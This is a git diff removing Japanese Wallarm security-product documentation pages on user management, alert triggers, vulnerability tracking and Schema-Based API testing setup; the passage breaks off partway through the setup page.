ユーザーの無効化と削除 - -* アカウント情報を削除せずに一時的にユーザーのWallarmアカウントへのログインを停止するには、名前の横の**Disable access**オプションを使用します。この操作により、メインのユーザー一覧でグレー表示となり、**Disabled**タブに表示されます。**Enable access**を選択してアカウントを再有効化すると、再びWallarmへログイン・アクセスできるようになります。 -* 永久に削除してログインアクセスを恒久的に取り消すには、ユーザーメニューから**Delete**を選択します。この操作によりユーザーはユーザー一覧から完全に削除され、元に戻せません。 - -## 新規ユーザーのアラート - -[trigger](../triggers/triggers.md)で**User added**条件を設定すると、Wallarmアカウントに新しいユーザーが追加された際に即時アラートを受け取れます。特定のロール、またはすべての新規ユーザー追加について通知を受けるように選択できます。 - -これらの通知を受け取りたいチームメンバーは、各自でトリガーを設定する必要があります。 - -**トリガー例: Slackへの新規ユーザーアラート** - -Wallarm Consoleの会社アカウントに**Administrator**または**Analyst**ロールの新規ユーザーが追加された場合、インテグレーションで指定したメールアドレスおよびSlackチャンネルにこのイベントの通知が送信されます。 - -![Slackおよびメールに通知を送るトリガーの例](../../images/user-guides/triggers/trigger-example2.png) - -**トリガーをテストする手順:** - -1. Wallarm Console → **Settings** → **Users**を開き、新しいユーザーを追加します。 -2. メールのInboxを開き、次のメッセージが受信されていることを確認します。 - - ![新規ユーザー追加に関するメール](../../images/user-guides/triggers/test-new-user-email-message.png) -3. Slackチャンネルを開き、ユーザー**wallarm**から次の通知が受信されていることを確認します。 - - ``` - [Wallarm] Trigger: 会社アカウントに新しいユーザーが追加されました - - Notification type: create_user - - 新しいユーザー John Smith （ロール: Analyst）が、John Doe により会社アカウントに追加されました。 - この通知は "Added user" トリガーによってトリガーされました。 - - Client: TestCompany - Cloud: EU - ``` - - * `John Smith` と `johnsmith@example.com` は追加されたユーザーの情報です - * `Analyst` は追加されたユーザーのロールです - * `John Doe` と `johndoe@example.com` は新しいユーザーを追加したユーザーの情報です - * `Added user` はトリガー名です - * `TestCompany` はWallarm Consoleにおける貴社の会社アカウント名です - * `EU` は貴社の会社アカウントが登録されているWallarm Cloudです - -## ログアウト管理 - -**Administrator**および**Global Administrator**の[ロール](users.md#user-roles)は、**Settings** → **General**で会社アカウントのログアウトタイムアウトを設定できます。設定はすべてのアカウントユーザーに適用されます。アイドルタイムアウトと絶対タイムアウトを設定できます。 - -![Generalタブ](../../images/user-guides/settings/general-tab.png) \ No newline at end of file diff --git a/docs/latest-ja/user-guides/triggers/triggers.md b/docs/latest-ja/user-guides/triggers/triggers.md deleted file mode 100644 index bb66c7fba8..0000000000 --- a/docs/latest-ja/user-guides/triggers/triggers.md +++ /dev/null @@ -1,95 +0,0 @@ -# トリガーの操作 - -トリガーは、さまざまなイベントに対するWallarmの応答を設定するためのツールです。トリガーは、システムが反応できる多数のイベントと、取り得る多様なリアクションを組み合わせます。このコンストラクタのような仕組みにより、貴社固有のセキュリティ要件に合致する複雑な挙動を構成できます。 - -トリガーは、[US](https://us1.my.wallarm.com/triggers)または[EU](https://my.wallarm.com/triggers)のCloudの**Triggers**セクションで設定します。 - -![トリガーの設定セクション](../../images/user-guides/triggers/triggers-section.png) - -## 動作の仕組み - -各トリガーは次の構成要素で成り立っており、設定できます。 - -* **Condition**: Wallarmが反応すべきイベントです。例: 一定数の攻撃の発生、denylistに登録されたIPアドレス、アカウントに新しいユーザーが追加された、など。 -* [**フィルター**](#understanding-filters): 条件の詳細です。例: 条件が「1日に10,000件を超える攻撃」の場合、**Type**フィルターを「SQLi」、**Response status**を「200」に設定すると、「1日に10,000件を超えるSQLi攻撃が発生し、レスポンスが200だった場合に動作する」トリガーになります。 -* **Reaction**: 指定した条件とフィルターに合致した場合に実行するアクションです。例: Slackへの通知送信や、[インテグレーション](../settings/integrations/integrations-intro.md)として設定済みの他システムへの通知、IPアドレスのブロック、リクエストをブルートフォース攻撃としてマークする、など。 - -## トリガーでできること - -トリガーを使用すると、次のことができます。 - -* アプリケーションやAPIに対して次の保護を提供します。 - - * [複数攻撃を行う加害者からの保護](../../admin-en/configuration-guides/protecting-with-thresholds.md) - * [ブルートフォース対策](../../admin-en/configuration-guides/protecting-against-bruteforce.md) - * [強制ブラウジング対策](../../admin-en/configuration-guides/protecting-against-forcedbrowsing.md) - * [BOLA対策](../../admin-en/configuration-guides/protecting-against-bola-trigger.md) - -* さまざまな[Integrations](../../user-guides/settings/integrations/integrations-intro.md)向けに拡張アラートを設定します。 -* [hitsのグループ化](../../user-guides/events/grouping-sampling.md#grouping-of-hits)によって攻撃やインシデントの表示を最適化します。 - -## フィルターの概要 - -フィルターは[条件](#how-it-works)を詳細化するために使用します。例えば、ブルートフォース攻撃、SQLインジェクションなど特定タイプの攻撃に対するリアクションを設定できます。Wallarm Consoleインターフェイスで1つ以上のフィルターを追加し、それぞれの値を設定できます。 - -![利用可能なフィルター](../../images/user-guides/triggers/trigger-filters.png) - -利用できるフィルターは次のとおりです。 - -* **URI** (条件が**Brute force**、**Forced browsing**、**BOLA**の場合のみ): リクエストが送信された完全なURIです。URIは[URI constructor](../../user-guides/rules/rules.md#uri-constructor)または[advanced edit form](../../user-guides/rules/rules.md#advanced-edit-form)で構成できます。 -* **Type** は、リクエストで検出された攻撃の[タイプ](../../attacks-vulns-list.md)またはリクエストが向けられた脆弱性のタイプです。 -* **Application** は、リクエストを受け取る[アプリケーション](../settings/applications.md)です。 -* **IP** は、リクエストの送信元IPアドレスです。 - - このフィルターは単一IPのみを受け付けます。サブネット、ロケーション、ソースタイプは使用できません。 -* **Domain** は、リクエストを受け取るドメインです。 -* **Response status** は、リクエストに返されたレスポンスコードです。 -* **Target** は、攻撃の対象またはインシデントが検出されたアプリケーションアーキテクチャの部位です。取り得る値は次のとおりです: `Server`、`Client`、`Database`。 -* **User's role** は、追加されたユーザーの[ロール](../../user-guides/settings/users.md#user-roles)です。取り得る値は次のとおりです: `Deploy`、`Analyst`、`Administrator`、`Read only`、`API developer`。また、[マルチテナンシー](../../installation/multi-tenant/overview.md)機能が有効な場合は、`Global Administrator`、`Global Analyst`、`Global Read Only`も使用できます。 - -## デフォルトトリガー - -新しい会社アカウントには、以下のデフォルト(事前設定済み)トリガーが用意されています。 - -* 同一IPからのhitsを1つの攻撃にグループ化 - - このトリガーは、同一IPアドレスから送信されたすべての[hits](../../glossary-en.md#hit)をイベントリスト上で1つの攻撃にまとめます。これによりイベントリストが最適化され、攻撃分析が迅速になります。 - - このトリガーは、単一のIPアドレスが15分以内に50件を超えるhitsを発生させたときに発動します。しきい値を超えた後に送信されたhitsのみが攻撃としてグループ化されます。 - - hitsは攻撃タイプ、悪意のあるペイロード、URLが異なる場合があります。これらの攻撃パラメータはイベントリストで`[multiple]`タグとして表示されます。 - - グループ化されたhitsのパラメータ値が異なるため、攻撃全体に対する[Mark as false positive](../events/check-attack.md#false-positives)ボタンは使用できませんが、特定のhitsを誤検知としてマークすることはできます。[攻撃のアクティブ検証](../../about-wallarm/detecting-vulnerabilities.md#threat-replay-testing)も利用できません。 - - Brute force、Forced browsing、Resource overlimit、Data bomb、Virtual patchの各攻撃タイプのhitsは、このトリガーでは対象外です。 -* 1時間以内に3種類を超える[悪意のあるペイロード](../../glossary-en.md#malicious-payload)を発生させたIPを1時間Graylistに登録 - - [Graylist](../ip-lists/overview.md)は疑わしいIPアドレスのリストで、ノードは次のように処理します: Graylistに登録されたIPが悪意のあるリクエストを送信した場合、ノードはそれらをブロックし、正当なリクエストは許可します。Graylistと対照的に、[denylist](../ip-lists/overview.md)はアプリケーションに到達すること自体を許可しないIPアドレスを示し、denylistに登録された送信元からの正当なトラフィックでさえノードはブロックします。IPのGraylistingは、[誤検知](../../about-wallarm/protecting-against-attacks.md#false-positives)の低減を目的とした選択肢の1つです。 - - このトリガーはノードのどのフィルタリングモードでも発動するため、ノードモードに関わらずIPをGraylistに登録します。 - - ただし、ノードがGraylistを解析するのは**safe blocking**モードのときだけです。Graylistに登録されたIPからの悪意のあるリクエストをブロックするには、まずその特性を理解した上で、ノードの[モード](../../admin-en/configure-wallarm-mode.md#available-filtration-modes)をsafe blockingに切り替えてください。 - - Brute force、Forced browsing、Resource overlimit、Data bomb、Virtual patchの各攻撃タイプのhitsは、このトリガーでは対象外です。 - -デフォルトトリガーは一時的に無効化できます。デフォルトトリガーの挙動を変更することもできます。その場合は、同種のカスタムトリガーを作成してください。いずれかのカスタムトリガーを作成するとデフォルトトリガーは削除されます。すべてのカスタムトリガーを削除すると、デフォルトトリガーが復元されます。 - -## トリガー処理の優先順位 - -同一の条件(例: **Brute force**、**Forced browsing**、**BOLA**)を持つトリガーが複数あり、かつ一部でURIのネストレベルが設定されている場合、より低いネストレベルのURIへのリクエストは、そのより低いネストレベルのURIでフィルターしているトリガーでのみカウントされます。 - -URIフィルターのないトリガーは、より上位のネストレベルと見なされます。 - -**例:** - -* ある条件を持つ最初のトリガーにはURIによるフィルターがありません(任意のアプリケーションまたはその一部へのリクエストがこのトリガーでカウントされます)。 -* 同じ条件を持つ2つ目のトリガーには、`example.com/api`というURIのフィルターがあります。 - -`example.com/api`へのリクエストは、`example.com/api`でフィルターしている2つ目のトリガーでのみカウントされます。 - -## トリガーの無効化と削除 - -* イベントへの通知やリアクションを一時的に停止するには、トリガーを無効化できます。無効化されたトリガーは、**All**および**Disabled**トリガーのリストに表示されます。イベントへの通知やリアクションを再度有効にするには、**Enable**オプションを使用します。 -* イベントへの通知やリアクションを恒久的に停止するには、トリガーを削除できます。トリガーの削除は元に戻せません。トリガーはトリガーリストから完全に削除されます。 - -トリガーを無効化または削除するには、トリガーメニューから該当するオプションを選択し、必要に応じて操作を確認してください。 \ No newline at end of file diff --git a/docs/latest-ja/user-guides/user-intro.md b/docs/latest-ja/user-guides/user-intro.md deleted file mode 100644 index 51c1b6d929..0000000000 --- a/docs/latest-ja/user-guides/user-intro.md +++ /dev/null @@ -1,53 +0,0 @@ -[img-wallarm-portal-overview]: ../images/user-guides/dashboard/dashboard.png - -[link-wallarm-console]: https://my.wallarm.com/settings/users - -[doc-use-search]: search-and-filters/use-search.md -[doc-subscriptions]: ../about-wallarm/subscription-plans.md - - -# ユーザーガイドの概要 - -本ガイドではWallarmの操作オプションについて説明します。これらの操作はすべてWallarmポータルを使用して実行します。 - -!!! info "必要なアクセス権" - - 本ガイドで説明する操作の多くを行うにはAnalystアクセス権が必要です。Analystアクセス権は、[US](https://us1.my.wallarm.com/settings/users)または[EU](https://my.wallarm.com/settings/users)クラウドのWallarmポータルにある*Settings* → *Users*タブで設定できます。 - -## Wallarmポータルの概要 - -![ポータルの概要][img-wallarm-portal-overview] - -Wallarmポータルにログインすると、次の要素が表示されます。 -* ポータルの左側にタブを備えたサイドバーがあります。 - - これらのタブを使用して、Wallarmソリューションの各コンポーネント間を移動します。 - - 一部のコンポーネントのページには、横に並んだ独自のタブがあります。 - - サイドバーの下部に*Help & Docs*ボタンがあります。このボタンをクリックすると、ポータルの右側に*Quick Help*サイドバーが開き、各種製品情報の参照やサポートチームへのメッセージ送信ができます。 - - !!! info "コンポーネントの利用可否に関する注意" - このユーザーガイドで示しているスクリーンショットと、実際のWallarmポータルの見た目が異なる場合があります。 - - 一部のコンポーネントやUI要素の利用可否は、使用しているサブスクリプションに依存します。 - - 詳細は[「サブスクリプション」][doc-subscriptions]ドキュメントをご覧ください。 - -* ポータル上部に検索ボックスがあります。 - - この検索ボックスは、*Events*タブを除くポータルのどこからでも利用できます。検索クエリを入力すると、*Events*タブの検索結果にリダイレクトされます。 - - 検索クエリの構文と検索の使い方は、[「検索の使用」][doc-use-search]ドキュメントで説明しています。 - -* ポータル右上の検索ボックス近くに*Settings*ボタンがあります。このボタンは小さな歯車のアイコンです。 - - このボタンでWallarmの設定ページを開きます。 - -* 操作内容に応じて、ポータルの最も右側に追加のサイドバーが表示される場合があります。 - - \ No newline at end of file diff --git a/docs/latest-ja/user-guides/vulnerabilities.md b/docs/latest-ja/user-guides/vulnerabilities.md deleted file mode 100644 index 3c7d5cbf4f..0000000000 --- a/docs/latest-ja/user-guides/vulnerabilities.md +++ /dev/null @@ -1,86 +0,0 @@ -# 脆弱性の管理 - -脆弱性とは、インフラストラクチャに存在するセキュリティ上の欠陥であり、攻撃者に悪用されるとシステムに対して不正な悪意ある操作を実行されるおそれがあります。Wallarm Consoleでは、Wallarmがお客様のシステムで検出したセキュリティ上の欠陥を以下で分析・管理できます: - - -* **Vulnerabilities**セクションで -* **AASM** → **Security Issues**セクションで - -Wallarmは、セキュリティ上の弱点を[発見](../about-wallarm/detecting-vulnerabilities.md)するために、次のさまざまな手法を用います: - -* **受動的検出**: リクエストとレスポンスを含む実トラフィックを分析して脆弱性が見つかった場合です。これは、実際の欠陥が悪用されているセキュリティインシデントの最中に発生することもあれば、欠陥を直接悪用していなくても、侵害されたJWTのようにリクエストに脆弱性の兆候が表れている場合にも発生します。 -* **Threat Replay Testing**: Wallarmが実行する[攻撃リプレイのセキュリティテスト](../vulnerability-detection/threat-replay-testing/overview.md)中に脆弱性が見つかった場合です。 -* **API Attack Surface Management (AASM)**: 外部ホストとそのAPIを[検出](../api-attack-surface/overview.md)し、それぞれについて不足しているWAF/WAAPソリューションを特定し、脆弱性を見つけます。 -* **API Discovery insights**: GETリクエストのクエリパラメータでPIIが送信されていることを[API Discovery](../api-discovery/overview.md)モジュールが検知したことにより、脆弱性が見つかった場合です。 - -Wallarmは、検出されたすべての脆弱性の履歴を**Vulnerabilities**セクションに保存します: - -![Vulnerabilitiesタブ](../images/user-guides/vulnerabilities/check-vuln.png) - -## 脆弱性のライフサイクル - -脆弱性のライフサイクルには、評価、修復、検証の各段階があります。各段階で、Wallarmは課題に的確に対処しシステムを強化するために必要なデータを提供します。さらに、Wallarm Consoleでは、**Active**と**Closed**のステータスを活用して、脆弱性の状態を容易に監視・管理できます。 - -* **Active**ステータスは、脆弱性がインフラストラクチャに存在していることを示します。 -* **Closed**ステータスは、脆弱性がアプリケーション側で解消された場合、または誤検知と判断された場合に使用します。 - - [誤検知](../about-wallarm/detecting-vulnerabilities.md#false-positives)とは、正当な対象が誤って脆弱性として識別されることです。誤検知と思われる脆弱性に遭遇した場合は、脆弱性メニューの該当オプションを使用して報告できます。これはWallarmの脆弱性検出の精度向上に役立ちます。Wallarmは当該脆弱性を誤検知として再分類し、ステータスを**Closed**に変更して、以後の[再確認](#verifying-vulnerabilities)の対象外にします。 - -脆弱性を管理する際は、ステータスを手動で切り替えることができます。加えて、Wallarmは定期的に脆弱性を[再確認](#verifying-vulnerabilities)し、結果に応じて自動的にステータスを変更します。 - -![脆弱性のライフサイクル](../images/user-guides/vulnerabilities/vulnerability-lifecycle.png) - -脆弱性のライフサイクルの変更は、脆弱性の変更履歴に反映されます。 - -## 脆弱性の評価と修復 - -Wallarmは各脆弱性に対し、リスクレベルの評価やセキュリティ課題への対処に役立つ詳細情報を提供します: - -* Wallarmシステムにおける脆弱性の一意の識別子 -* 脆弱性が悪用された場合の影響の危険度を示すリスクレベル - - Wallarmは、共通脆弱性評価システム（CVSS）フレームワーク、脆弱性が悪用される可能性、システムへの潜在的影響などに基づいて、脆弱性のリスクを自動的に示します。固有のシステム要件やセキュリティの優先順位に基づき、リスクレベルを任意の値に変更できます。 -* [脆弱性のタイプ](../attacks-vulns-list.md)（当該脆弱性を悪用する攻撃のタイプにも対応） -* 脆弱性が存在するドメインとパス -* 脆弱性の悪用に使用され得る悪意あるペイロードを渡すためのパラメータ -* 脆弱性が[検出](../about-wallarm/detecting-vulnerabilities.md#vulnerability-detection-methods)された方法 -* 脆弱性が悪用された場合に影響を受け得る対象コンポーネント（**Server**、**Client**、**Database**） -* 脆弱性が検出された日時 -* 直近の[検証日](#verifying-vulnerabilities) -* 脆弱性の詳細な説明、悪用例、および推奨される修復手順 -* 関連インシデント -* 脆弱性ステータスの変更履歴 - -脆弱性は、[検索文字列](search-and-filters/use-search.md)や事前定義済みフィルターを使用して絞り込めます。 - -![脆弱性の詳細情報](../images/user-guides/vulnerabilities/vuln-info.png) - -すべての脆弱性は、システムを悪意ある行為に対してより脆弱にしてしまうため、アプリケーション側で修正する必要があります。脆弱性を修正できない場合は、[virtual patch](rules/vpatch-rule.md)ルールを使用することで関連する攻撃をブロックし、インシデントのリスクを排除できます。 - -## 脆弱性の検証 - -Wallarmは、ActiveとClosedの両方の脆弱性を定期的に再確認します。これは、以前に発見されたセキュリティ問題についてインフラストラクチャを再度テストすることを意味します。再確認の結果、脆弱性がもはや存在しないと示された場合、Wallarmはそのステータスを**Closed**に変更します。これはサーバーが一時的に利用できない場合にも発生することがあります。逆に、既にClosedにした脆弱性の再確認でアプリケーションに依然として存在すると示された場合、Wallarmはそのステータスを**Active**に戻します。 - -Activeの脆弱性および1か月以内に修正された脆弱性は、1日1回再確認します。1か月以上前に修正された脆弱性は、週1回再確認します。 - -初回の検出方法に応じて、テストは**API Attack Surface Management (AASM)**または**Threat Replay Testing**モジュールによって実行されます。 - -受動的に検出された脆弱性は再確認できません。 - -脆弱性を手動で再確認する必要がある場合は、脆弱性メニューの該当オプションから再確認プロセスを開始できます: - -![再確認可能な脆弱性](../images/user-guides/vulnerabilities/recheck-vuln.png) - -## 脆弱性レポートのダウンロード - -UIの該当ボタンを使用して、脆弱性データをPDFまたはCSVレポートにエクスポートできます。Wallarmは、指定したアドレスにレポートをメールで送付します。 - -PDFは、脆弱性やインシデントの概要を含む視覚的にリッチなレポートの提示に適しています。一方、CSVは各脆弱性の詳細情報を提供でき、技術的な用途に適しています。CSVは、ダッシュボードの作成、最も脆弱なAPIホスト/アプリケーションの一覧作成などに活用できます。 - -## 脆弱性を取得するAPI呼び出し - -脆弱性の詳細を取得するには、Wallarm ConsoleのUIに加えて、[Wallarm APIを直接呼び出す](../api/overview.md)こともできます。以下は対応するAPI呼び出しの例です。 - -直近24時間以内でステータスが**Active**の最初の50件の脆弱性を取得するには、次のリクエストを使用し、`TIMESTAMP`を24時間前の日付を[Unixタイムスタンプ](https://www.unixtimestamp.com/)形式に変換した値に置き換えてください: - ---8<-- "../include/api-request-examples/get-vulnerabilities.md" \ No newline at end of file diff --git a/docs/latest-ja/vuln-scanning-best-practices-for-future.md b/docs/latest-ja/vuln-scanning-best-practices-for-future.md deleted file mode 100644 index 78dfab6198..0000000000 --- a/docs/latest-ja/vuln-scanning-best-practices-for-future.md +++ /dev/null @@ -1,15 +0,0 @@ -脆弱性の検出と緩和のベストプラクティス - -## Threat Replay Testingのベストプラクティスに従う - -Wallarmが[脆弱性を検出](../about-wallarm/detecting-vulnerabilities.md)する方法の1つが**Threat Replay Testing**です。 - -**Threat Replay Testing**は、攻撃者をペネトレーションテスターのように活用し、攻撃者がお使いのアプリケーションやAPIの脆弱性を探る際の活動から、潜在的なセキュリティ上の問題を発見できるようにします。このモジュールは、トラフィックの実際の攻撃データを使用してアプリケーションのエンドポイントを調査し、潜在的な脆弱性を見つけます。デフォルトではこの手法は無効です。 - -[**Threat Replay Testing**モジュールの構成に関するベストプラクティスをご確認ください →](../vulnerability-detection/threat-replay-testing/setup.md) - - - -API Inventory - -OWASPカバレッジ \ No newline at end of file diff --git a/docs/latest-ja/vulnerability-detection/schema-based-testing/explore.md b/docs/latest-ja/vulnerability-detection/schema-based-testing/explore.md deleted file mode 100644 index d4e96fb069..0000000000 --- a/docs/latest-ja/vulnerability-detection/schema-based-testing/explore.md +++ /dev/null @@ -1,45 +0,0 @@ -# テスト実行結果の確認 - -[Schema-Based Testing](overview.md)を有効化し、テストポリシーを[設定](setup.md#configure-test-policies)し、そのポリシーに基づくテストを[実行](setup.md#docker-run)すると、本記事のとおりにテスト実行結果を確認できます。 - -## テスト実行と結果 - -Wallarm Consoleで、**Security Testing** → **Schema-Based** → **Test runs**に移動すると、すべてのテスト実行とその結果を表示できます。 - -ここでは、実行中に検出されたセキュリティ問題、ヘルスチェック、および当該実行のDocker出力を確認できます： - -
        - -
        - -
        -
        - -## テスト実行の詳細 - -テスト実行をクリックして展開し、詳細な技術情報を表示します： - -![スキーマベースのセキュリティテスト - テスト実行の詳細](../../images/vulnerability-detection/apitp-test-run-details.png) - -次の項目を確認できます： - -* テスト実行の健全性（仕様またはPostmanコレクションの有効性、実行の成否）。 -* 実行中に発生したエラーと警告（ある場合）。 -* Dockerコンテナの出力（**Copy to clipboard**機能付き）。 - -## テスト実行のJSONレポート - -テスト実行メニューから**Download JSON report**を選択すると、テスト実行のレポートをJSON形式で取得できます。 - -## 初期ファイルのダウンロード - -**Schema-Based Testing**ページから、OASまたはPostmanベースのテストポリシーの作成に使用したファイルをダウンロードできます： - -* OAS: 仕様。 -* Postman: Postmanコレクションファイル、Postman環境ファイル（使用している場合）。 - -ファイルをダウンロードするには： - -1. Wallarm Consoleで、**API Security Testing** → **Schema-Based** → **Test policies**タブに移動します。 -1. 対象のポリシーにカーソルを合わせ、編集アイコンをクリックします。ポリシー編集ダイアログが表示されます。 -1. 該当するファイルのフィールドで、ダウンロードアイコンをクリックします。 \ No newline at end of file diff --git a/docs/latest-ja/vulnerability-detection/schema-based-testing/overview.md b/docs/latest-ja/vulnerability-detection/schema-based-testing/overview.md deleted file mode 100644 index 01c454b574..0000000000 --- a/docs/latest-ja/vulnerability-detection/schema-based-testing/overview.md +++ /dev/null @@ -1,60 +0,0 @@ -# スキーマベースのテスト - -Wallarmのスキーマベースのテストは、アプリケーションやAPIに対する動的セキュリティテストを実行し、幅広い脆弱性を特定するために設計されています。これは、OWASP Top 10およびOWASP API Security Top 10で説明されているものを含め、網羅的な自動テストにより検出します。 - -スキーマベースのテストの機能： - -* APIエンドポイントを深く動的に分析します。 -* アプリケーションやAPI自体の脆弱性に加え、基盤となるインフラや環境のセキュリティ誤設定を検出します。 -* 検出された問題はWallarm Consoleの[**Security Issues**](../../api-attack-surface/security-issues.md)セクションで可視化されます。 -* Dockerコンテナで軽量に実行できます。 - -![スキーマベースのテスト - テスト実行](../../images/vulnerability-detection/sbt-test-runs.png) - -## 仕組み - -スキーマベースのテストは、以下の手順で使用します。 - -1. **テストポリシーを作成**：対象アプリケーションを指定し、そのOpenAPI仕様またはPostmanコレクション、ベースURLを提供し、実行するテストを選択します。 -1. **Dockerコマンドをコピー**：**Test policies**タブでテストポリシーを見つけてクリックし、表示されたDockerコマンドをコピーします。 -1. **実行と監視**：そのコマンドでエージェントを起動します。進行状況の追跡と結果の確認は**Test runs**タブで行います。 - -![スキーマベースのテスト - 仕組み](../../images/vulnerability-detection/sbt-diagram.png) - -## テストの基盤 - -スキーマベースのテストは、次のいずれかを基礎としてテストを行います。 - -* **OpenAPI仕様（OAS）** - APIの正確で機械可読な仕様により、アプリケーション向けの効率的で信頼性の高いテストスイートを構築できます。OASベースのテストは、入力検証、インジェクション、誤設定の検出に重点を置きます。 -* **Postmanコレクション** - [**Postman**](https://www.postman.com/)のAPI設計プラットフォームを使用している場合、その[*コレクション*](https://www.postman.com/product/collections/)に含まれる**機能テスト**を基に、併せてセキュリティテストを構築できます。[詳細](setup.md#postman-collection-based)をご覧ください。Postmanコレクションベースのテストは、複雑なビジネスロジックやアクセス制御の脆弱性に焦点を当てます。 - - !!! warning "一時的な制限" - Postmanコレクションに基づく新しいポリシーの作成は一時的にご利用いただけません。以前Postmanコレクションを使用して作成された既存のポリシーは引き続き正常に動作します。 - -## テストの種類 - -OpenAPI仕様に基づくテストでは、スキーマベースのテストはセキュリティ問題を検出するために次の3種類のテストを使用します。 - -* **環境の誤設定テスト**は、アプリケーションおよびAPIが動作する環境やインフラ（APIロジックそのものではありません）における脆弱性や誤設定を確認します。例： - * ソースコード、バックアップ、設定ファイルの露出 - * アクセス可能な`.git`、`.env`、システムファイル - * 安全でないWebサーバー設定（例：ディレクトリリスティング、弱いTLS） -* **GraphQLの脆弱性検出**は、GraphQLでよく見られる誤設定10種（API2, API4）を確認します。 -* **入力パラメータのテスト**は、OpenAPI仕様で定義された各入力点（パラメータ、ヘッダーなど）について、アプリケーションレベルの脆弱性を確認します。対象の脆弱性： - * コマンドインジェクション - * CRLFインジェクション - * LFI / RFI - * NoSQLインジェクション - * オープンリダイレクト - * ディレクトリトラバーサル - * リモートコード実行（RCE） - * SQLインジェクション - * SSRF - * SSTI - * XSS - * XXE - * 情報漏えい - -## 有効化とセットアップ - -スキーマベースのテストを使い始めるには、[スキーマベースのテストのセットアップ](setup.md)に従って有効化と設定を行います。 \ No newline at end of file diff --git a/docs/latest-ja/vulnerability-detection/schema-based-testing/setup.md b/docs/latest-ja/vulnerability-detection/schema-based-testing/setup.md deleted file mode 100644 index 018c6328fb..0000000000 --- a/docs/latest-ja/vulnerability-detection/schema-based-testing/setup.md +++ /dev/null @@ -1,177 +0,0 @@ -# Schema-Based Testingのセットアップ - -この記事では、Wallarmの[Schema-Based Testing](overview.md)を有効化して構成する方法を説明します。 - -## 有効化 - -Schema-Based Testingはデフォルトで無効です。有効化するには次を実行します。 - -1. sales@wallarm.comに連絡し、アカウントで[**Security Testing**サブスクリプションプラン](../../about-wallarm/subscription-plans.md#core-subscription-plans)を有効化します。 -1. **Security Testing** → **Schema-Based** → **Test policies**タブに移動し、[少なくとも1つのポリシー](#configure-test-policies)を作成します。 - -## 前提条件 - トークン - -Schema-Based Testingでは、実行中のDockerコンテナとWallarm Cloudの間でデータ交換を認可するための[トークン](../../user-guides/settings/api-tokens.md)が必要です。トークンは次の2通りの方法で作成できます。 - -* **自動** - 任意のポリシーからDockerコマンドを初めてコピーしようとした際に、Schema-Based Testingが自動でトークンを作成し、`docker run`コマンドに含めます。他のポリシーは既存のトークンを再利用します。 -* **手動** - Wallarm Consoleで**Settings** → **API Tokens**に移動し、**New token**をクリックします。作成時に**Token usage**を`Schema-Based Testing agent`に設定します。すべてのポリシーがこのトークンを使用します。 - -## テストポリシーの設定 - -テストポリシーは、OpenAPI仕様(OAS)またはPostmanコレクションを[基礎](overview.md#test-basis)として設定できます。1つのテストポリシーは1種類のテスト(OASベースまたはPostmanベースのいずれか)のみを対象とする点にご注意ください。 - -* OASは入力検証、インジェクション、設定ミスの検出に重点を置きます。 -* Postmanは複雑なビジネスロジックやアクセス制御の脆弱性に重点を置きます。 - -### OASベース - -OpenAPI仕様(OAS)ベースのテストポリシーでは、次の項目を永続的に定義します。 - -* アプリケーションの**OpenAPI specification** -* 実行するテスト - -すべてのテスト実行で共通の永続パラメータに加えて、各テストポリシーには、各テスト実行ごとに再定義できるパラメータ（**Runtime parameters**）を任意で含めることができます。Runtime parametersを再定義できることは、DockerをCI/CDパイプラインに組み込む際に役立ちます。 - -* アプリケーションの**Target URL** - - （各実行時に再定義できますが、初期値の指定が必要です） - -* 認証パラメータ - -テストポリシーを設定するには: - -1. Wallarm Console → **Security Testing** → **Schema-Based** → **Test policies**に移動します。 -1. **Add policy**をクリックし、OpenAPI仕様ファイルを添付します。 -1. 実行する[テストタイプ](overview.md#test-types)を選択します。 -1. **Target URL**を設定します（各テスト実行時に動的に再定義できます）。 -1. 任意で、認証の**Runtime parameters**を追加します。 - - ![Schema-Based Testing - OpenAPI仕様に基づくテストポリシーの作成](../../images/vulnerability-detection/sbt-policy-create.png) - -### Postmanコレクションベース - -!!! warning "一時的な制限" - Postmanコレクションに基づく新しいポリシーの作成は一時的にご利用いただけません。以前Postmanコレクションを使用して作成された既存のポリシーは引き続き正常に動作します。現在無効になっているのは、新しいPostmanベースのポリシーの作成のみです。 - -Postmanベースのセキュリティテストにより、通常のAPIテストと並行してセキュリティスキャンを自動化し、各API実行が脆弱性について十分に検査されるようにできます。 - -!!! info "API機能テストを基礎として" - WallarmのSchema-Based Testingは、機能テストを活用してセキュリティテストを生成します。機能テストが充実しているほど、Wallarmが提供できるセキュリティカバレッジは広がります。API、ユーザー、リクエストが多いほど、より豊かで効果的なセキュリティテストになります。 - -#### Postmanコレクションの事前チェック - -Schema-BasedセキュリティテストにPostmanデータを使用する前に、次を確認します。 - -1. コレクションおよび環境ファイルに次が含まれていることを確認します。 - - * APIエンドポイントの機能テスト - * 対象アプリケーションの場所 - * すべての環境変数の設定 - * 対象アプリケーションに認証するために必要な認証情報 - -1. （推奨）Postmanコレクションが正常に動作するかを確認します。例えば、次のコマンドを実行します。 - - ``` - newman run my_collection.json -e my_environment.json - ``` - - これにより、Postmanコレクションの品質、Target URLの到達性、必要な変数がすべて指定されているかなど、問題の有無を事前に把握できます。 - -!!! warning "有効なPostmanコレクション" - Postmanコレクション自体が動作しない場合、Schema-Basedセキュリティテストも動作しません。 - -#### Wallarmでのテストポリシー設定 - -Wallarmでは、Postmanコレクションベースのテストポリシーで次を定義します。 - -* アプリケーションの**Postman collection**。 -* **Postman environment file(s)**（すべての設定がメインのコレクションファイルに含まれている場合は任意です）。 - - !!! info "Target URLと認証" - アプリケーションの**Target URL**と認証パラメータは、Postmanコレクションまたは環境ファイルで定義します。 - -* Postmanコレクションに基づくセキュリティテストでは、テストケースの選択は現在サポートされていません。 - -テストポリシーを設定するには: - -1. Wallarm Console → **Security Testing** → **Schema-Based** → **Test policies**に移動します。 -1. **Add policy**をクリックし、**Source**を**Postman collection**に設定します。 -1. Postmanコレクションファイルを添付します。 -1. 任意で、Postman環境ファイルを添付します。2つのファイルを添付すると、異なる変数値（例: 異なる認証情報）で2回テストを実行し、結果を比較できます。 - - ![Schema-Based Testing - Postmanコレクションに基づくテストポリシーの作成](../../images/vulnerability-detection/sbt-policy-create-postman.png) - -#### ビジネスロジックのセキュリティテスト - -ビジネスロジックのテスト（[OWASP API1:2023 オブジェクトレベル認可の不備 (BOLA)](https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md)および[OWASP API5:2023 機能レベル認可の不備 